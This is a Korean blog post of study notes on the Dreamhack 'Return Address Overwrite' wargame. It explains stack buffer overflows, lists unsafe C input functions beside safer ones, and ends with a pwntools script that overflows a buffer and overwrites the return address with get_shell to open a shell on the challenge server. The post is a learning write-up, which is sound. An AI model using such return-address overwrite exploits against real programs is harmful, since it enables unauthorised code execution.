[드림핵 - 시스템] Stack Buffer Overflow

스근한국밥한그릇·2024년 11월 23일

SYSTEM

목록 보기
9/15

1. Overflow

1.1 Stack Overflow Vs Stack Buffer Overflow

전자 : 스택 영역이 너무 많이 확장되어 발생하는 버그
후자 : 스택에 위치한 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그

버퍼 : 데이터가 목적지로 이동되기 전에 보관되는 임시 저장소


2 Dreamhack Return Address Overwirte 취약점

  • scanf("%s", buf)

    %s 는 문자열을 입력 받을때 사용

    • 입력의 길이 제한하지 않는다 (공백문자 : 띄어쓰기, 탭, 개행 문자 등) 올때 까지 계속 입력받음)

    • %s 절대 사용 금지 => "%[n]s" 형태로 사용할 것!!
  • 이외에도 취약한 것들 : 버퍼를 다루지만, 길이를 입력하지 않는 함수들

    strcpy, strcat, sprntf

    • 보완 => 버퍼의 크기를 같이 입력하는 것
      • strncpy, strncat, snprintf, fgets, memcpy emdZ
  • Index-Out-Of-Bound(OOB) : 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상

  • Segmentation fault : 프로그램이 잘못된 메모리 주소에 접근했다는 의미

    해당에러 발생후 "/var/lib/apport/coredump" 경로에 코어 파일 생성

    • 생성되지 않은경우 해당명령어 실행
      $ ulimit -c unlimited

2-1 exploit

  • 해당 코드에서는 scanf를 위해 buf 공간 0x30만큼 할당 return address 와 거리는 0x38만큼 차이
  • get_shell 함수의 주소 확인

    gdb 실행 후 -> print get_shell

#! /usr/bin/python3

from pwn import *

p = remote('host3.dreamhack.games', 21657)

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']

payload = b'A'*0x30			//쓰레기값
payload += b'B'*0x8			//쓰레기값
payload += p64(get_shell)	//return address 삽입(little endian으로)

p.sendline(payload)

p.interactive()				//셸 획득후 셸에서 command 입력
profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글